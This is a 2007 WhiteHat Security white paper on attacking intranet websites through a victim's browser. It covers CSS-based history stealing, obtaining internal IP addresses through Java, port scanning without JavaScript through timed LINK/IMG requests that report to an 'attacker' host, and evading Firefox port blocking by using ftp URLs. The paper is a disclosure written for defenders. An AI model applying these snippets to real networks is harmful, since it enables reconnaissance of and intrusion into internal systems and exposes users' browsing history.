Hacking Intranet Websites from the Outside (Take 2)
*Fun With & Without JavaScript Malware*

July 2007
Jeremiah Grossman
Founder and CTO, WhiteHat Security
Introduction

“Attacks always get better; they never get worse.” The malicious capabilities of Cross-Site Scripting (XSS) and Cross-Site Request Forgeries (CSRF), coupled with JavaScript malware payloads, exploded in 2006. Intranet Hacking from the Outside, Browser Port Scanning, Browser History Stealing, Blind Web Server Fingerprinting, and dozens of other bleeding-edge attack techniques blew away our assumptions that perimeter firewalls, encryption, A/V, and multi-actor authentication can protect websites from attack. They can’t, so they don’t.

One quote from a member of the community summed it way:

“The last quarter of this year (2006), RSnake and Jeremiah pretty much destroyed any security we thought we had left, including the “I’ll just browse without JavaScript” mantra. Could you really call that browsing anyway?”

~Kryan

That’s right. New research has revealed that even if JavaScript has been disabled or restricted, some of the now popular attack techniques — such as Browser Intranet Hacking, Port Scanning, and History Stealing—can still be perpetrated.

From an enterprise security perspective, when users are visiting “normal” public websites (including Web mail, blogs, social networks, message boards, news, etc.), there is a growing probability that their browser might be silently hijacked by a hacker and exploited to target the resources of the internal corporate network.

Breaking the Perimeter Security Boundary

Most believe while surfing the Web that they’re protected by firewalls and isolated through private NAT’ed IP addresses. With this understanding, we assume the soft security of intranet websites and the Web-based interfaces of routers, firewalls, printers, IP phones, payroll systems, etc., even if left unpatched, remain safe inside the protected zone. Nothing is capable of directly connecting in from the outside world, right? Well, not quite. Web browsers can be completely controlled by any Web page, enabling them to become launching points to attack internal network resources. The Web browser of every user on an enterprise network becomes a stepping-stone for intruders.
Exploit Procedures

1. A victim visits a malicious Web page, which assumes control over their Web browser. The malicious Web page could be any Web page, but increasingly, “trusted” Web pages laced with a permanent XSS attack are being leveraged for massive malware delivery.

2. When the malware is executed, it does so from the intranet perspective of the victim, where an outsider can’t directly access. Meaning, the victim’s Web browser can be instructed to hand over its NAT’ed IP address and make connections to the internal IP range on behalf of the attacker.

3. The victim’s Web browser is used as a launch platform where the malware port scans and fingerprint Web servers on the internal IP range.

4. Attacks are initiated against the internal targets and compromised information is sent outside the network for collection.

History Stealing

For an attacker, knowing your victim’s surfing habits and where they are logged in is highly advantageous. Attacks can be aimed directly at locations where they’re most likely to succeed, which also increases the speed of exploitation. And, by now most are familiar with the JavaScript/CSS history hack\(^1\) to achieve this level of intelligence. This is a brute-force method of revealing a user’s history\(^2\) by checking the color of thousands of links on the screen. If the link is purple, they’ve been there; if blue, they haven’t. Sprinkle in a list of common intranet hostnames\(^3\) and the technique is highly effective.

The technique above relies upon JavaScript being enabled in the browser. But, what happens if it isn’t, or at least not on the current website? Steal Browser History without JavaScript\(^4\) is a clever technique that utilizes CSS’s visited pseudo-class and the display class to create conditional logic when applied to a link. If a link has been visited, a:visited\(^5\), the CSS is configured to load a background image background: url(‘steal_history.cgi?http://foo/’), which communicated the data back to the server. If the link has not been visited, the background image will not load, in effect informing the server the user has not been there. Remember these techniques can be applied to any URL, including common intranet names such as hr, payroll, intranet, router, printer, and thousands of other possibilities.

Obtaining NAT’ed IP Addresses

It’s trivial to obtain a Web browser’s public IP address from the Web server, but the NAT’ed IP Address is another matter. This is the piece of information we need to begin exploring and exploiting their intranet. To obtain the internal NAT’ed IP address, we need to invoke Java in a browser, and an applet is a simple cross-browser way to do so. The “My Address”\(^6\) applet by Lars Kindermann works very well for the task and conveniently passes the IP address to where JavaScript can access it. The following code loads the MyAddress.class and then opens the URL of http://webserver/ip_address.html?nat=XXX so the data can be accessed remotely:

```html
<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="http://webserver/ip_address.html?nat=">
</APPLET>
```

If the victim’s Web browser is a Mozilla/Firefox, it’s possible to skip the applet requirement and invoke a Java socket directly from JavaScript space. The net-net effect between these two techniques is more or less the same.

```javascript
function natIP() {
    var w = window.location;
    var host = w.host;
    var port = w.port || 80;
    var Socket = (new
        java.net.Socket(host,port)).getLocalAddress().getHostAddress();
    return Socket;
}
```
A small percentage of users disable Java in their browsers for security reasons, which thwart the techniques described. However, this does not mean Intranet Hacking is a non-starter. While it’s easier to have the exact address, NAT'ed IPs are almost always assigned an RFC 1918 compliant address, making their location reasonably predictable.

10.0.0.0 – 10.255.255.255
172.16.0.0 – 172.31.255.255
192.168.0.0 – 192.168.255.255

By simply selecting common net-block, scans of an entire Class-C range can be completed in less than 60 seconds.

JavaScript Port Scanning

Last year it was reported that JavaScript could be used to conduct intranet port scans. The way the technique worked is by forcing the browser to make SCRIPT SRC requests to internal IP addresses. If a Web server were listening, HTML would be returned causing the JavaScript console to error. If no Web server were listening, there would be no errors. At this point it was a simple matter of cycling through each IP address in the range and performing the boolean logic. But as with the stealing history techniques, what if the victim’s browser has JavaScript disabled? It turns out there is a way to conduct browser port scanning without JavaScript.

In HTML, the LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the Web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport mechanism back to the attacker. Once the Web page is loaded, at some point in the future a request is received by check_time.pl. By comparing the current epoch to the initial “epoch_timer” value (when the Web page was dynamically generated), it’s possible to tell if the host is up. If the time difference is less than, say, five seconds, then likely the host is up; if more, then the host is probably down (browser waited for timeout). And, fortunately since the requests are made to intranet IPs, network traffic delays are minimized.

Example (attacker Web server logs):

```
<" link rel="stylesheet" type="text/css" href="http://192.168.1.100/" />
<" img src="http://attacker/check_time.pl?ip=192.168.1.100&start= epoch_timer" />
```

```
/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762279
(3 second delay) - Host is up
/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762286
(10 second delay) - Host is down
```

Bypassing Mozilla/Firefox Port Blocking

To protect against the HTML Form Protocol Attack, which would allow the browser to send arbitrary data to most TCP ports, Mozilla/Firefox restricted connections to several dozen ports. For example, entering the following URL into a Mozilla/Firefox browser: http://jeremiahgrossman.blogspot.com:22/
While the security measure works for the http protocol handler, using ftp is able to bypass the block: ftp://jeremiahgrossman.blogspot.com:22/. If the port is up, it'll connect; if not, timeout. This technique can be used to improve JavaScript Port Scanning, where we're currently only scanning horizontally for Web servers (80/443). Instead, vertical port scans can be improved on the remaining ports and bypass the imposed restrictions.

References

1. JavaScript/CSS history hack
   http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

2. Online demo of CSS History Hack
   http://ha.ckers.org/weird/CSS-history-hack.html

3. Common intranet hostnames
   http://ha.ckers.org/fierce/hosts.txt

4. Steal Browser History Without JavaScript
   http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

5. Online demo of CSS History Hack Without JavaScript
   http://ha.ckers.org/weird/CSS-history.cgi

6. My Address Java Applet
   http://reglos.de/myaddress/MyAddress.html

7. RFC 1918 - Address Allocation for Private Internets

8. Video - Hacking Intranet Websites from the Outside

9. Browser Port Scanning without JavaScript

10. HTML Form Protocol Attack
    http://www.remote.org/jochen/sec/hfpa/index.html

11. Mozilla Port Blocking
    http://www.mozilla.org/projects/netlib/PortBanning.html
About the Author

Jeremiah Grossman is the founder and CTO of WhiteHat Security, a world-renowned expert in website vulnerability management, co-founder of the Web Application Security Consortium, and recently named to InfoWorld's Top 25 CTOs for 2007. Mr. Grossman is a frequent speaker at industry events including the BlackHat Briefings, ISACA, CSI, OWASP, Vanguard, ISSA, OWASP, Defcon, etc. He has authored of dozens of articles and white papers, credited with the discovery of many cutting-edge attack and defensive techniques and is co-author of the book XSS Exploits. Mr. Grossman is frequently quoted in major media publications such as InfoWorld, USA Today, PCWorld, Dark Reading, SC Magazine, SecurityFocus, C-Net, SC Magazine, CSO, and InformationWeek. Prior to WhiteHat he was an information security officer at Yahoo!

About WhiteHat Security, Inc.

Headquartered in Santa Clara, California, WhiteHat Security is a leading provider of website vulnerability management services. WhiteHat delivers turnkey solutions that enable companies to secure valuable customer data, comply with industry standards and maintain brand integrity. WhiteHat Sentinel, the company’s flagship service, is the only solution that incorporates expert analysis and industry-leading technology to provide unparalleled coverage to protect critical data from attacks. For more information about WhiteHat Security, please visit www.whitehatsec.com.